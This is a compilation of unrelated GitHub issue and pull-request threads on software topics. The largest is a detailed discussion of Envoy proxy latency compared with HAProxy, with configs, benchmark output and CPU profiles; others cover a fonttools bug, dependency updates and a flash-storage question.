Added nodes and namespaces resources in RHTAP Admins Cluster Role

/lgtm

/lgtm

@hugares in files, it says only one file was changed and that is rhtap-admins.yaml. I pulled the changes from the main branch and then rebased.

@manish-jangra my comment was on the revision before you merged (2nd revision, 3rd was ok). That said, I think we should foster rebase instead of merge to have a clean commit in PR and resulting commit in main branch is also clean. The resulting commit message of this PR looks like this:
 Added nodes and namespaces resources in RHTAP Admins Cluster Role (#2451)

    * Added nodes and namespaces resources in RHTAP Admins Cluster Role

    * service-provider-integration-operator update (#2445)

    * update components/monitoring/grafana/base/dashboards/spi/kustomization.yaml

    * update components/spi-vault/kustomization.yaml

    * update components/spi/overlays/development/kustomization.yaml

    * update components/spi/overlays/staging/base/kustomization.yaml

    ---------

    Co-authored-by: rh-tap-build-team[bot]<EMAIL_ADDRESS>    Co-authored-by: Flavius Lacatusu<EMAIL_ADDRESS>    Co-authored-by: Sergii Kabashniuk<EMAIL_ADDRESS>
    * remote-secret update (#2440)

    * update components/remote-secret-controller/overlays/development/kustomization.yaml

    * update components/remote-secret-controller/overlays/staging/base/kustomization.yaml

    ---------

    Co-authored-by: rh-tap-build-team[bot]<EMAIL_ADDRESS>    Co-authored-by: Sergii Kabashniuk<EMAIL_ADDRESS>    Co-authored-by: github-actions[bot]<EMAIL_ADDRESS>
    * managed-gitops update (#2444)

    * update components/gitops/development/kustomization.yaml

    * update components/gitops/production/base/kustomization.yaml

    * update components/gitops/staging/base/kustomization.yaml

    ---------

    Co-authored-by: rh-tap-build-team[bot]<EMAIL_ADDRESS>    Co-authored-by: Flavius Lacatusu<EMAIL_ADDRESS>
    ---------

    Co-authored-by: rh-tap-build-team[bot]<EMAIL_ADDRESS>    Co-authored-by: Flavius Lacatusu<EMAIL_ADDRESS>    Co-authored-by: Sergii Kabashniuk<EMAIL_ADDRESS>    Co-authored-by: github-actions[bot]<EMAIL_ADDRESS>


Update sbt to 1.5.8

Updates org.scala-sbt:sbt from 1.5.5 to 1.5.8.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.scala-sbt", artifactId = "sbt" } ]

labels: library-update, early-semver-patch, semver-spec-patch, commit-count:1

Codecov Report

Merging #224 (7a7c6aa) into master (e11f720) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #224   +/-   ##
=======================================
  Coverage   41.66%   41.66%
=======================================
  Files           1        1
  Lines          36       36
  Branches        1        1
=======================================
  Hits           15       15
  Misses         21       21

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e11f720...7a7c6aa. Read the comment docs.


feat:  push to old fleets on nebra os cloud #25

use v15.0.3-1 of balena-cli container for nebra cloud deploy

Issue

Link: https://github.com/NebraLtd/NebraOS/issues/25
Summary:

How

Screenshots

References

Checklist

[ ] Tests added
[ ] Cleaned up commit history (rebase!)
[ ] Documentation added
[ ] Thought about variable and method names

@pritamghanghas probably need to do the same at commercial hotspot software repo too


ARM support for hosting chowdown on rpi 4

Hi,
I would love to host chowdown on my raspberrypi 4. Could you provide docker images with ARM architecture?

Hi,
I do not currently have an rpi or ARM device to test, but I've been meaning to get a pi 4.  Let me order one and see if I can get this running.

Has anyone had any luck with running this on a RPi4?

was there ever any movement on this?

Unfortunately I've not had the time to break out the pi and work through this.  If I'm not mistaken the rpi4 should be using arm32v7? I probably need to create a new base image just for ARM, along with using a different alpine base.
To be honest I don't think I'll be completing this any time soon, but I'm happy to test out any submitted PRs.


Queries on Number of Points Inside a Circle

1828. Queries on Number of Points Inside a Circle
Issue Id you have worked upon -
#155
Briefly explain your program logic -
From geometry we know that if we put the points in the equation of circle then if it lies on the circle then the value is 0, if it lies inside the the vale is negative and if it lies outside then the value is positive.
Hence I have made a function that take points as input and returns value after putting those points on circle.
Screenshots(Attach 2 screenshots of your own input and output) -

Checklist:
Eg - If your code follow the below guidelines. Kindly change [] to [x]
All the conditions should be fulfilled for considering your code for merging -
[x] I have mentioned the question as comment in my solution file.
[x] My code follows the guidelines of this project.
[x] I have performed a self-review of my own code.
[x] I have commented my code.
[x] My code gives the correct output.
[x] I confirm that I have not copied the code from anywhere. In case its found that I have copied I can be banned from the repository.
[x] I affirm that I strictly follow contributing guidelines and code of conduct.

@sachin4429,
Very well commented and arranged code.
Appreciating👏 by leveling up your question from level2 to level3


chore: v4 pre release

About this change—what it does
V4 pre release

Running acc test: https://github.com/aiven/terraform-provider-aiven/actions/runs/4260011860

Lgtm


Performance Issues with Envoy

Benchmarking Envoy and comparing performance against HAProxy
Setup:
LB : Envoy/HAProxy
Backend : Nginx
Benchmarking Tool : wrk (https://github.com/wg/wrk)
Envoy Config:
Concurrency = 4
static_resources:
  listeners:
  - name: test
    address:
      socket_address:
        protocol: TCP
        address: <IP_ADDRESS>
        port_value: 8090
    filter_chains:
    - filters:
      - name: envoy.http_connection_manager
        config:
          stat_prefix: ingress_http
          generate_request_id: false
          route_config:
            name: test_routes
            virtual_hosts:
            - name: test_service
              domains:
              - "*"
              routes:
              - match:
                  prefix: "/"
                route:
                  cluster: test_backend
          http_filters:
          - name: envoy.router
            config:
              dynamic_stats: false
  clusters:
  - name: test_backend
    connect_timeout: 0.25s
    hosts:
    - socket_address:
        address: 172.16.x.x
        port_value: 8000

HAProxy Config:
global
  daemon
  maxconn 10000
  nbproc 4
defaults
  mode http
  timeout connect 5000ms
  timeout client 50000ms
  timeout server 50000ms
  http-reuse aggressive
frontend test
  bind *:8080
  acl test1 path_beg /
  use_backend test_backend if test1
backend test_backend
  server server1 172.16.x.x:8000

Nginx Config
worker_processes 4;
worker_connections 1000;
server {
    listen 8000 default_server;

    server_name test.com;
    access_log /var/log/nginx/test.access.log;
    error_log  /var/log/nginx/test.error.log;

    location / {
        return 200 'Woohoo!';
    }
}

Benchmark Results
Envoy
$ wrk -c100 -d60s -t10 "http://172.16.x.x:8090/" --latency
Running 1m test @ http://172.16.x.x:8090/
  10 threads and 100 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency     2.73ms    5.94ms 413.43ms   99.73%
    Req/Sec     4.00k     1.43k    9.36k    63.22%
  Latency Distribution
     50%    2.16ms
     75%    3.56ms
     90%    4.50ms
     99%    7.10ms
  2388909 requests in 1.00m, 389.58MB read
Requests/sec:  39748.81
Transfer/sec:      6.48MB

HAProxy
$ wrk -c100 -d60s -t10 "http://172.16.x.x:8080/" --latency
Running 1m test @ http://172.16.x.x:8080/
  10 threads and 100 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency     1.14ms  526.36us  31.04ms   89.20%
    Req/Sec     8.89k     1.79k   14.23k    63.36%
  Latency Distribution
     50%    1.05ms
     75%    1.32ms
     90%    1.63ms
     99%    2.20ms
  5315577 requests in 1.00m, 729.98MB read
Requests/sec:  88446.34
Transfer/sec:     12.15MB

Note:

Both the lbs are running inside docker in host networking mode.
In case of envoy benchmark, backend (nginx) CPU utilisation only reaches 60%

Could you please point out where am I going wrong? (As according to various online blogs, envoy seems to provide equivalent performance as HAProxy)

What haproxy version?
Haproxy config is not even optimal :)

@mattklein123 what do you think about tagging this one as “help wanted”? There definitely is performance work that would be worthwhile to do. I probably won’t have much time to contribute PRs over the next couple of months, but I’m happy to share profiling data and optimization ideas with anybody who’s interested in working on it.

@brian-pane sure will do.

Why not use picohttpparser that is the fastest http parser so far.

For anybody who's interested in doing some optimization work, here's a CPU profile of the latest Envoy trunk proxying small HTTP/1.1 requests and responses on Linux 4.15:
# Overhead  Command       Shared Object       Symbol

# ........  ............  ..................  ...............................................................................................................................................................................
......................................................................................................................................................
#
     1.85%  envoy-static  envoy-static        [.] Envoy::Http::HeaderMapImpl::getExistingInline(char const*)
     1.79%  envoy-static  envoy-static        [.] http_parser_execute
     1.06%  envoy-static  [kernel.kallsyms]   [k] do_syscall_64
     0.56%  envoy-static  [kernel.kallsyms]   [k] __kmalloc_node_track_caller
     0.56%  envoy-static  [kernel.kallsyms]   [k] tcp_rcv_established
     0.53%  envoy-static  [kernel.kallsyms]   [k] __inet_lookup_established
     0.53%  envoy-static  [kernel.kallsyms]   [k] tcp_ack
     0.53%  envoy-static  [kernel.kallsyms]   [k] tcp_data_queue
     0.50%  envoy-static  [kernel.kallsyms]   [k] ip_finish_output2
     0.46%  envoy-static  [kernel.kallsyms]   [k] copy_user_generic_string
     0.43%  envoy-static  envoy-static        [.] Envoy::ThreadLocal::InstanceImpl::SlotImpl::get()
     0.40%  envoy-static  [kernel.kallsyms]   [k] __cgroup_bpf_run_filter_skb
     0.40%  envoy-static  [kernel.kallsyms]   [k] kmem_cache_alloc_node
     0.40%  envoy-static  [kernel.kallsyms]   [k] tcp_transmit_skb
     0.40%  envoy-static  [kernel.kallsyms]   [k] tcp_write_xmit
     0.40%  envoy-static  envoy-static        [.] Envoy::Router::Filter::onUpstreamHeaders(unsigned long, std::unique_ptr<Envoy::Http::HeaderMap, std::default_delete<Envoy::Http::HeaderMap> >&&, bool)
     0.36%  envoy-static  libpthread-2.27.so  [.] __pthread_mutex_lock
     0.33%  envoy-static  [kernel.kallsyms]   [k] __dev_queue_xmit
     0.33%  envoy-static  [kernel.kallsyms]   [k] __netif_receive_skb_core
     0.33%  envoy-static  [kernel.kallsyms]   [k] kmem_cache_free
     0.33%  envoy-static  [kernel.kallsyms]   [k] tcp_v4_rcv
     0.30%  envoy-static  [kernel.kallsyms]   [k] __softirqentry_text_start
     0.30%  envoy-static  [kernel.kallsyms]   [k] tcp_sendmsg_locked
     0.30%  envoy-static  envoy-static        [.] Envoy::Event::DispatcherImpl::timeSource()
     0.30%  envoy-static  envoy-static        [.] std::_Sp_counted_base<(__gnu_cxx::_Lock_policy)2>::_M_release()
     0.30%  envoy-static  envoy-static        [.] event_process_active_single_queue.isra.31
     0.30%  envoy-static  envoy-static        [.] tc_newarray
     0.26%  envoy-static  [kernel.kallsyms]   [k] sock_poll
     0.26%  envoy-static  [kernel.kallsyms]   [k] tcp_clean_rtx_queue
     0.26%  envoy-static  envoy-static        [.] Envoy::Stats::CounterImpl<Envoy::Stats::RawStatData>::inc()
     0.26%  envoy-static  envoy-static        [.] event_add_nolock_
     0.26%  envoy-static  envoy-static        [.] tc_deletearray
     0.26%  envoy-static  libpthread-2.27.so  [.] __pthread_mutex_unlock
     0.23%  envoy-static  [kernel.kallsyms]   [k] __indirect_thunk_start
     0.23%  envoy-static  [kernel.kallsyms]   [k] eventfd_write
     0.23%  envoy-static  [kernel.kallsyms]   [k] ip_rcv
     0.23%  envoy-static  [kernel.kallsyms]   [k] ipv4_mtu
     0.23%  envoy-static  [kernel.kallsyms]   [k] process_backlog
     0.23%  envoy-static  envoy-static        [.] Envoy::Http::HeaderMapImpl::maybeCreateInline(Envoy::Http::HeaderMapImpl::HeaderEntryImpl**, Envoy::Http::LowerCaseString const&) [clone .part.348]
     0.23%  envoy-static  envoy-static        [.] Envoy::Router::Filter::UpstreamRequest::decodeHeaders(std::unique_ptr<Envoy::Http::HeaderMap, std::default_delete<Envoy::Http::HeaderMap> >&&, bool)
     0.23%  envoy-static  envoy-static        [.] event_del
     0.23%  envoy-static  libc-2.27.so        [.] __GI___readv
     0.23%  envoy-static  libc-2.27.so        [.] __GI___writev
     0.23%  envoy-static  libc-2.27.so        [.] __memmove_sse2_unaligned_erms
     0.23%  envoy-static  libc-2.27.so        [.] epoll_ctl
     0.20%  envoy-static  [kernel.kallsyms]   [k] do_iter_readv_writev
     0.20%  envoy-static  [kernel.kallsyms]   [k] do_iter_write
     0.20%  envoy-static  [kernel.kallsyms]   [k] enqueue_to_backlog
     0.20%  envoy-static  [kernel.kallsyms]   [k] eth_type_trans
     0.20%  envoy-static  [kernel.kallsyms]   [k] kfree
     0.20%  envoy-static  [kernel.kallsyms]   [k] tcp_send_ack
     0.20%  envoy-static  [vdso]              [.] __vdso_clock_gettime
     0.20%  envoy-static  envoy-static        [.] Envoy::Http::HeaderMapImpl::maybeCreateInline(Envoy::Http::HeaderMapImpl::HeaderEntryImpl**, Envoy::Http::LowerCaseString const&, Envoy::Http::HeaderString&&)
     0.20%  envoy-static  envoy-static        [.] Envoy::Network::IoSocketHandleImpl::writev(Envoy::Buffer::RawSlice const*, unsigned long)
     0.20%  envoy-static  envoy-static        [.] evbuffer_drain
     0.17%  envoy-static  [kernel.kallsyms]   [k] __fget_light
     0.17%  envoy-static  [kernel.kallsyms]   [k] __local_bh_enable_ip
     0.17%  envoy-static  [kernel.kallsyms]   [k] _raw_spin_lock_irqsave

I ran into some similar performance issues with envoy recently using fortio to measure latency, but it was comparing envoy against itself in different settings, specifically, changing the number of parallel clients.
First, I tested envoy using only 1 client, 1000 request-per-second:
# fortio load -qps 1000 -c 1 -t 360s <IP_ADDRESS>:8080
min 0.00046536 max 0.015038684
0.685 ms avg
# target 50% 0.000737631
# target 75% 0.000873767
# target 90% 0.000955449
# target 99% 0.00168218
# target 99.9% 0.00498846

which is pretty comparable with native performance. But then I increased the number of clients to 100, but kept the request-per-second the same, i.e., each of the 100 clients would be doing 10 qps, and here is the result:
min 0.000572737 max 0.040983921
5.851 ms avg
# target 50% 0.00571237
# target 75% 0.00734058
# target 90% 0.00880032
# target 99% 0.0116944
# target 99.9% 0.017128

It's a pretty significant difference in terms of average latency and long tail latency. I used perf and flamegraph to look at how things have changed from 1 client to 100 clients. The only thing I could spot was more significant http header processing time in the 100 clients case. I saw a couple other opened git issues related to http_parser being not efficient. But in my case here, it's the same number of packets going through envoy. Would http header processing overhead increase with more number of parallel clients? I would think it's more related to the number of requests. I was also using 4 envoy worker nodes. Is there some caching / TLB flush issue here that's causing this behavior?
@mattklein123 @brian-pane any inkling where I should be poking around here?

@mattklein123 @brian-pane any inkling where I should be poking around here?

Sorry nothing immediately comes to mind. One of the first things I would probably look at is whether Fortio is itself introducing this latency. If that's not the case would need some more detailed investigation.

So without envoy in the middle, fortio running as regular linux processes between 2 of my VMs looks like:
# fortio load -qps 1000 -c 100 -t 60s <IP_ADDRESS>:8080
# target 50% 0.00184155
# target 75% 0.00264706
# target 90% 0.00347064
# target 99% 0.00526316
# target 99.9% 0.00919149
 2.025 ms avg

With a freshly compiled envoy sitting in front of the fortio server, the same experiment looks like this
fortio load -qps 1000 -c 100 -t 60s <IP_ADDRESS>:8088
# target 50% 0.00685397
# target 75% 0.00931644
# target 90% 0.0110211
# target 99% 0.0159744
# target 99.9% 0.0296667
7.030 ms avg

There's a pretty significant increase in both average and long-tail latency after putting Envoy in there. I started Envoy by
./envoy -c envoy.json --concurrency 4

where envoy.json looks like:
{"static_resources": {
  "listeners": [
    {
      "address": { "socket_address": { "address": "<IP_ADDRESS>", "port_value": 8088 } },
      "filter_chains": {
        "filters": [
          {
            "name": "envoy.http_connection_manager",
            "config": {
              "stat_prefix": "ingress_http",
              "http_filters": [{
                "name": "envoy.router",
                "config": {}
              }],
              "route_config": {
                "virtual_hosts": [
                  {
                    "name": "fortio",
                    "domains": "*",
                    "routes": [
                      {
                        "route": {
                          "cluster": "fortio"
                        },
                        "match": {
                          "prefix": "/"
    }}]}]}}}]}}],
  "clusters":[
    {
      "name": "fortio",
      "type": "STRICT_DNS",
      "connect_timeout": "1s",
      "hosts": [
        { "socket_address": { "address": "<IP_ADDRESS>", "port_value": 8080 } }
      ]
    }
  ]
}}

This is almost like a hello-world example of using envoy, so I'm a bit surprised that latency number went up by 3x. I just started looking at envoy, so if there's anything obviously wrong with my setup, please let me know.

@oschaaf any thoughts on this thread? Could we use Nighthawk?

FWIW, here is result for the same setup but switching out envoy for haproxy (using the haproxy config in the original post)
fortio load -qps 1000 -c 100 -t 60s <IP_ADDRESS>:8088
# target 50% 0.00384799
# target 75% 0.00521333
# target 90% 0.0063642
# target 99% 0.00954595
# target 99.9% 0.0129949
3.970 ms avg

@htuch interesting, thanks for looping me in. I'll try to set up a repro to and analyse. It will be nice chance to give Nighthawk a spin

I ran an experiment on a low-latency tuned system for comparing average latencies accross wrk2 Fortio and Nighthawk, when running directly them against nginx serving a static file vs doing that through Envoy and HAProxy [1]. There's an order-of-magnitude difference between the latencies reported by the different benchmark clients. I'm not done yet, but I wanted to post an update here. I do think it will be interesting to figure out why wrk2 via Envoy reports higher latencies compared to wrk2 via HAProxy, but it's worth noting that Nighthawk reports some interesting log messages when going through HAProxy about premature responses.
[1] https://gist.github.com/oschaaf/a04a1d4a9fa3b571ad80ba2449761616#file-mean-summary-md

Can you check how many tcp connections are being opened from the proxy to upstream in all 3 cases?
I have measured this type of behavior in istio tests for a while. Scaling the upstream cluster brings the latency back down.

@oschaaf Looks like your fortio result using envoy and haproxy is pretty consistent with the ones I've posted earlier. So it's great this problem can be reproduced. Looking forward to seeing something that can be fixed to bring envoy's latency number down.

So after thinking about it, my 2p is that I think sanity checking the numbers is warranted.
The test-server I used (nginx) will respond in roughly 50-200 microseconds on the test machine. If we want to say something about latencies in that order of magnitude, then preferably we are able to observe them at at least a 10X higher resolution (5-20 microseconds).
In the tests I ran, the mean latencies are reported by the tools as follows:

Direct
Via Envoy
Via HAProxy

Nighthawk
0.090076 ms
0.198846 ms
0.14126 ms

wrk2
0.78625 ms
3.33 ms
1.39 ms

Fortio
1.969 ms
5.971 ms
2.086 ms

Wildly different numbers are reported.
Are any of the tools lying? Are we sure we are comparing apples to apples?
Fortio and wrk2 report numbers pretty that seem pretty far away from the truth in terms of abolute latency [1]. Why could that be?
We test @ 1000 rps. Given ideal request-release timings, there ought to be no overlap between request/response pairs. That's nice because queuing/batching effects could complicate our reasoning, and skew our measurements. Problem is both fortio and wrk2 rely on sleep for release timings, which isn't going to be super accurate. It is worth noting that wrk2 will sleep at a 1 ms resolution, exactly on par with our test-frequency. Also, the cpu hosting the client probably is far from saturated. This allows power state management to lower frequency, and other processes/threads may get scheduled accross. All these things can add significant noise to the experiment.
So given even and precise pacing of request-release timeings, it looks like HAProxy is able
to achieve a slightly lower latency. Perhaps because of the aggressive keepalive setting used (wild guess).
But no, I don't feel we can confidently conclude Envoy is adding multiple ms to the mean in that scenario.
Furthermore, I do think it is worth adding an option to intentionally release batched sets of requests to Nighthawk, so we can make a differential diagnosis between:

wrk2/Fortio reporting inflated numbers
Envoy actually being subject to improvement when handling larger batches of requests. (E.g. proactive connection prefetching).

[1] Lastly, I think it's worth sharing the earlier analysis of wrk and Fortio we did.

This is super interesting. Thanks for the detailed analysis comparing different latency measurement tools. It seems wrk and fortio generate different absolute numbers, but their results are on the same order of magnitude, i.e. a few ms. Nighthawk on the other hand produces numbers that are an order of magnitude smaller.
In my environment, between the 2 VMs, ping shows about 0.5ms round trip latency, so when I get fortio result of 2ms average latency, it made some sense to me. And then putting haproxy and envoy between the 2 VMs, the round trip number further increased to 4 to 7ms. It's not ideal, but still made sense as we are adding software on the critical path.
What is the ping time in your testbed setup? Nighthawk showing 0.09ms average latency is kind of bizarrely small. On my relatively idle VM, ping on the loopback device shows round trip time of 0.05ms. Are your VMs provisioned on the same host machine and the network packets don't leave the host nic? I might have have missed your testbed setup if this was mentioned somewhere.

OK, never mind the question about the testbed setup. You're indeed using loopback device in your experiment (https://gist.github.com/oschaaf/a04a1d4a9fa3b571ad80ba2449761616#file-mean-summary-md)

I ran the test on a z620 workstation, directly on the hardware, with the client and server running on two physically different HW cpu's, using taskset to pin them to a core.
Also, the box tuned for low-latency. I think the difference between wrk2 and fortio is also remarkable.
Ping times:
➜ ping <IP_ADDRESS>
PING <IP_ADDRESS> (<IP_ADDRESS>) 56(84) bytes of data.
64 bytes from <IP_ADDRESS>: icmp_seq=1 ttl=64 time=0.032 ms

@oschaaf In fortio, when -c is specified, you can create different number of parallel clients to generate a load. In the experiments above, with -qps=1000 and -c=100, it means at every 100ms, 100 requests will be sent to the envoy worker thread at almost the same time. Since you specified the number of envoy worker threads to be 1, only 1 request will be processed at a time, while the rest are waiting to be picked up by the event loop. This means the request getting picked up in the beginning will experience much smaller latency than those toward the end. This "thundering herd" problem might not be representative of a realistic workload where 100 clients all collude to send their requests at exactly the same time. This also explains the behavior I posted above when keeping -qps=1000 but changing -c=1 to -c=100, long tail latency became much worse. Does this make sense? Does nighthawk allow some sort of "de-synchronization" of client requests so they don't send these request bursts?

@huang195 yeah, above I ended with I do think it is worth adding an option to intentionally release batched sets of requests to.... for just that. So it is on the roadmap, but right now we only have
LinearRateLimiter in Nighthawk. It shouldn't be that hard to add BatchedLinearRateLimiter :-)
Does fortio intentionally do batch and synchronise to release at the same time? I don't remember seeing that in the sources, but then again I may have overlooked that part... In any case, in the evaluation doc for fortio vs wrk2 we had something like this as a recommendation:
 fortio: Take measures to better spread the generated load in time. Currently requests are send in batches as timers expire for each connection/goroutine. Adding some random jitter to the pacing per goroutine might help. Coordinating timing explicitly may help too but would probably be hard to add in an efficient way.

As fortio will have to rely on the go scheduler for fairness, and because of garbage collection stalls, I think it's going to be (very) hard to do reliable and precise request-release-timing.

@oschaaf Sorry, I must have missed that comment. I ended up doing more experiments using fortio by adding some jitters between their requests, so we don't get these mini-burst of requests. The latency result does look much better, while keeping everything else the same.
Related to this topic, in the context of Istio, it adds additional filters to Envoy, e.g., to report telemetry and tracing data. Most of these additional filters are executed off the critical path, so in theory they shouldn't have a big impact on end-to-end latency. But they do. The reason is every Envoy worker thread is single-threaded and running an event loop. While the thread is in the middle of preparing a batch report, serializing and compressing it before putting it onto the wire, one or more requests could have arrived. The low-priority work of preparing batch report does not get interrupted by higher priority work of handling requests, thus could cause increase in latency. First of all, is this a correct understanding of how things work in an Envoy worker thread? If so, is there any work in the pipeline that would address such issue?

@huang195 meantime, I've drafted an approach for Nighthawk to allow to release requests in batches:
https://github.com/envoyproxy/nighthawk/pull/14
I'll run some experiments with that tomorrow as well.

@huang195 yeah, basically, that's the right model. It depends if the work is being done on the main thread or worker thread. But, doing a dispatcher post on worker thread A back to A's dispatcher for later processing, is just kicking the can down the road and will clearly add latency to any performance test.
I know @mandarjog is an expert on Istio performance issues, he can probably chime in as well.

For those who is interested in performance of Envoy and Istio's Envoy, I've made a flamechart: https://github.com/iandyh/istio-enovy-perf/blob/master/1.1.1.svg

@iandyh that's really useful. Looks like ~30% of CPU cycles are being burnt on tracing/Mixer filter. This seems to match up roughly to the difference between Envoy and HAProxy based on the initial Nighthawk latency measurement.

@iandyh thanks for sharing that. I saw something very similar to that as well - a significant amount of CPU being spent in telemetry and tracing, and http parsing.
There are already a few issues opened about the performance problems of the http_parse library that's being used, so hopefully that can be addressed. I'm more interested in all these additional stuff that Istio filters added off the critical path. Since each Envoy worker thread is single-threaded, the additional work it does running the Istio filters could actually block user requests that are in the event queue. I'm wondering if someone has looked into breaking worker threads into top and bottom halves, so that higher priority work doesn't get blocked by lower ones, and if needed, can preempt lower ones.
To address latency, while the current work-around is to add more Envoy worker threads to reduce the effect of queuing and user-perceived latency, more worker threads also mean more resource usage. I'm wondering if there's a middle ground that could reduce latency by processing queued requests as quickly as possible while pushing telemetry/tracing and other non-essential work to when all the critical-path work are done.

There are already a few issues opened about the performance problems of the http_parse library that's being used, so hopefully that can be addressed.

To set expectations, any perf gains there are going to be minimal. There is no low hanging fruit. Also, HTTP/1 is becoming increasingly irrelevant so I'm not sure how much it matters to most real world workloads.

I'm more interested in all these additional stuff that Istio filters added off the critical path.

Istio has well known performance problems that they are working to address with Mixer v2. I would recommend following up with them as this is really outside the scope of the core Envoy project.

I'm wondering if there's a middle ground that could reduce latency by processing queued requests as quickly as possible while pushing telemetry/tracing and other non-essential work to when all the critical-path work are done.

This is possible, but as @htuch already mentioned, it's unclear to me that the extra complexity is going to yield substantial benefit since this is really just "kicking the can down the road." Fundamentally, the used features just need to use less CPU cycles. If you feel like prototyping some changes please feel free, but I think the performance gains have to be substantial to offset the increased complexity.

@mattklein123 thanks for your response. Regarding to filters, to someone who's new to Envoy, it might not be immediately obvious that a piece of filter code that runs off the critical path could have a significant impact to requests on the critical path under certain conditions. libevent supports multiple priorities, but those are currently not used in Envoy today. Perhaps, it's worth exploring in alleviating this problem. These are just my initial thoughts, but like what you and @htuch already mentioned, the gain might not offset the additional complexity. Anyways, just wanted to gauge if there were some thoughts in this area previously but weren't explored further for whatever reason.

We could certainly consider threads or events with priorities, but none of that would help if you're measuring performance at close to serving capacity, since there just won't be enough CPU to go around and you either indefinitely delay the stats or drop them or pay the latency cost somewhere.
When operating with plenty of spare CPU capacity, I agree, this approach would yield some benefit for filters that do low priority deferred actions, but I think Mixer is one of the few we've seen in the wild that do this.

@htuch yep, agree. What I've seen sometimes is benchmarks themselves being the cause of excessive queuing delays. This was described earlier with fortio parallel clients, in which case, there is plenty of spare CPU, but due to 4 worker threads handling 100 parallel connections, queued requests could experience long-tail latency issues because instead of marshaling packets back and forth, they spend more time massaging/compressing/sending telemetry and tracing data, uninterrupted. Coupled with the fact that sometimes OS doesn't hand out work equally amongst the 4 worker threads, some threads could get more work than others, thus further exacerbating the latency issue. Real world workloads might not have this colluding problem of parallel clients in forito that syncs their requests, but that's not controllable by us, and sometimes these bursts do happen.
If mixer filter could be optimized, that would alleviate the problem. But the fact that the core eventing systems allows lower priority work to continue while there is higher priority work to do is an area that could be improved. Of course this only makes sense when there is still spare CPU capacity.

My investigation has shown that the performance further degrades if access_log is turned on. I see about 40% degrade with wrk benchmark.  Anyone else noticing significant degrades with access_log turned on?

@codervinod is this gRPC access log or filesystem? I would expect any remote access logging where you are sending a RPC 1:1 to have this kind of impact for small requests.

@huang195 regarding kicking the van down the road, if there is always some work waiting to be picked up, moving path length to the log filter still adds to latency.
At low rps this is not noticeable, but pronounced at higher rps.
Have you done any experiments with the grpc accesslog service?
The current implementation does not batch, sends a message for every request.
We are working on another accesslog extension for stack driver that does batch but is more selective in what it sends.
Mixer client is an access log adapter that is batched but send absolutely everything with every request.
I think ultimately some balance of compression, batching and selectiveness will win out.

@mandarjog I haven't done any experiments with the grpc accesslog service yet. From what I can gather, there are some implicit constraints about running an Envoy filter due to i) the number of worker threads is fixed, ii) once a worker thread "accepts" a new connection, it cannot hand it off to another thread even if it is overloaded and the other is idling, iii) each worker is single-threaded.
So to minimize performance variance, an Envoy filter should not have vastly different code execution paths. In mixer client today, the default behavior is 99 out 100 requests will go through the same code execution path, but the 100th request will go to a much longer path, i.e., protobuf serialization, compression, network I/O. This is one cause of the long-tail latency problem. But variance can be caused by other things, such as load, multitenancy, randomness in CPU scheduling, etc.
The mental diagram I have about Envoy filter is that it has a critical path and a non-critical path. Policy/Quota checking and request processing/forwarding are on the critical path. Telemetry/tracing/and other stuff that happens afterwards are on the non-critical path. Due to Envoy's single-threadedness, non-critical path could sometimes impact critical path. Code on the critical path needs to run regardless. Code on the non-critical path, on the other hand, should have control points that in the most extreme case, could be short circuited completely, freeing the worker thread to work on something more pressing. Envoy internally keeps a lot of runtime stats, which could be used as triggers to these control points.

In the scenario where latency is due to 1:1 RPC hogging CPU time, and assuming that the RPC server is on the same machine, this might be worth considering: instead of using protobuf/gRPC, use a zero-copy, (de)serialization-free message format (like Cap'n Proto) and pass messages via file descriptor over Unix domain socket (the memory for the message(s) would be allocated via shm or memfd_create, and the message format allows for reading and writing directly to this mapped memory, making this possible). That at least skips a serialize and deserialize step, as well as the copy out of Envoy and into the RPC process. Off course, now the RPC server still needs to be careful about not burning too many CPU cycles doing whatever it's going to do with e.g. the logs or whatever, but at least it takes that concern off of Envoy's shoulders.

@huang195 you had an experiment that showed much better latency when you change Linux scheduler settings, do you have a link to the documentation?

same problem ,up to 60% cpu in stress test,
is there any new solution


table_O_S_2f_2.getCodePageRanges() can raise an AttributeError with fonttools=4.44.1

Hi!
I spotted this in https://github.com/py-pdf/fpdf2/issues/1021.
We have a couple of cases in our test suite where this error is raised with fonttools=4.44.1:
AttributeError: 'table_O_S_2f_2' object has no attribute 'ulCodePageRange1'
Could this be caused by a backward compatible change in fonttools,
or is it now expected that user code handle those errors?

I think we need to add OS/2 table version checks to the code from #3328, since not all versions of the table has these two fields.

I think we need to add OS/2 table version checks

@khaledhosny can you please take care of this? Thanks

just downgrade to v4.44.0 and wait for the fix by another version?

yes please

In the meantime I have just "yanked" 4.44.1 from PyPI so pip should no longer install that (unless one specifically requests it).
The 4.44.2 deployment failed for unrelated reasons so it has not been published to PyPI (despite being shown in the Github releases). I will push a bugfix 4.44.3 release once Khaled pushes the fix. Or I can do it later today myself, just le me know.

Who knew there are that many fonts with OS/2 table version 0 out there.

probably old system fonts

Thank you for fixing this in a new release! 👍


Where to safely store one byte of data?

Hi, first of all thanks a lot for this great library!
I have read #7, and thanks to the instructions there, I found out that my sketch which consumes approx. 65% of flash memory, goes way beyond 0xC0000 which you said is the place where data gets stored by default in your library.
I have three questions:

Why did you use 0xC0000 and not something like 0xFF000 which should almost never be occupied?
How can I tell the write function to start writing from a different offset?
(and probably most important for me) Is there a way I can 'reserve' flash memory by for example putting an unused string in flash and use that to store my data?

All I need is just one byte, but that one byte could still destroy my code, so I have to make sure it works even if the code is continuing to grow (which it will).
Thanks a lot again for your great work!

Thanks, and glad you like the library. Sorry, I will not have time to look into this. I suggest you just try it out and see what works. There was probably a reason why 0xc0000 was used but I can't remember. Probably a compromise between code space and storage space.


Identity - Using passphrase to generate temporary Key pairs.

This issue tracks the passphrase usage discussion related to #9 .

Copy pasting to be easier to discuss:

